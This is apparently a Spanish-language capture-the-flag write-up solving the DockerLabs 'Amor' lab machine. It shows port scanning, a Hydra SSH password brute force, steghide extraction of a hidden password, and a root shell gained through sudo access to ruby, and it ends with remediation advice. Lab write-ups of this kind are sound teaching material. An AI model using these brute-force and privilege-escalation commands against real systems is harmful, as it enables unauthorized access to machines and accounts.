Amor
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Amor, desarrollada por Romabri para la plataforma DockerLabs y clasificada como fácil.
El objetivo es exponer un análisis claro, ordenado y técnicamente fundamentado, abordando:
- Identificación de vectores de ataque iniciales.
- Explotación basada en credenciales expuestas y técnicas de fuerza bruta.
- Acceso a información oculta mediante esteganografía.
- Escalada de privilegios mediante abuso de binarios delegados con
sudo.
La metodología empleada se divide en tres fases principales:
- Reconocimiento: Identificación de puertos abiertos y análisis del sitio web.
- Explotación: Obtención de credenciales y acceso inicial al sistema mediante SSH.
- Escalada de privilegios: Transición entre usuarios y obtención de acceso root.
Todas las pruebas se ejecutaron dentro del entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Amor |
| Autor | Romabri |
| Dificultad | Fácil |
| Fecha | 26/04/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimir la máquina:
unzip Amor.zipIniciar el contenedor:
sudo bash auto_deploy.sh Amor.tarEl script proporciona la IP interna que utilizaremos durante todo el análisis:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno de trabajo
Sección titulada «1.1 Organización del entorno de trabajo»mkdir -p Amor/{content,exploits,nmap,gobuster,scripts}cd AmorMantener un entorno ordenado permite registrar adecuadamente cada fase y facilita la reproducibilidad del proceso.
1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPortsextractPorts allPortsPuertos detectados:
- 22/tcp — SSH
- 80/tcp — HTTP

La presencia de SSH y un sitio web sugiere la posibilidad de exposición de credenciales en el contenido web.
1.3 Enumeración Web (Puerto 80)
Sección titulada «1.3 Enumeración Web (Puerto 80)»gobuster dir \ -u http://172.18.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js \ -t 200El escaneo no reveló rutas adicionales relevantes. El único recurso accesible fue el index:

Analizando el código y contenido de la página se identifica una pista directa sobre un usuario del sistema:

La mención al usuario carlota abre la posibilidad de un ataque de fuerza bruta sobre el servicio SSH.
Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»Con un posible usuario identificado, se procede a realizar un ataque de fuerza bruta con Hydra:
hydra -l carlota -P rockyou.txt ssh://172.17.0.2
Hydra confirma credenciales válidas, permitiendo el acceso al sistema:

Paso 3 — Escalada de Privilegios
Sección titulada «Paso 3 — Escalada de Privilegios»3.1 De Carlota → Oscar
Sección titulada «3.1 De Carlota → Oscar»Se identifica una imagen sospechosa en:
/Desktop/fotos/vacaciones/imagen.jpg
La imagen se descarga para su análisis:
scp carlota@172.17.0.2:/Desktop/fotos/vacaciones/imagen.jpg /contentEl análisis con exiftool no revela metadatos útiles.
Luego se utiliza steghide para detectar contenido oculto:
steghide info imagen.jpg
Se extrae el archivo embebido:

El contenido aparece codificado en Base64, por lo que se decodifica:

Esto proporciona la contraseña del usuario oscar, permitiendo cambiar de usuario:

3.2 De Oscar → root (abuso de ruby)
Sección titulada «3.2 De Oscar → root (abuso de ruby)»Salida de:
sudo -l
El usuario oscar puede ejecutar ruby como root sin contraseña.
Esto permite ejecutar directamente una shell privilegiada:
sudo ruby -e 'exec "/bin/sh"'Resultado:

Acceso root obtenido correctamente.
Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Exposición de información sensible en el sitio web (nombre de usuario real).
- Ausencia de mecanismos de protección ante fuerza bruta en SSH.
- Archivos con información oculta sin controles adecuados.
- Delegación insegura de permisos
sudoa binarios interpretables. - Falta de restricciones en el uso de herramientas de esteganografía.
Recomendaciones
Sección titulada «Recomendaciones»- Implementar políticas de bloqueo ante intentos de autenticación fallidos.
- Evitar incluir información sensible en contenido público del sitio web.
- Restringir permisos sobre archivos que contengan datos confidenciales.
- Evitar delegar permisos
sudoa intérpretes como Ruby, Python o Bash. - Configurar autenticación multifactor y contraseñas robustas.
- Mantener una supervisión activa de registros y accesos SSH.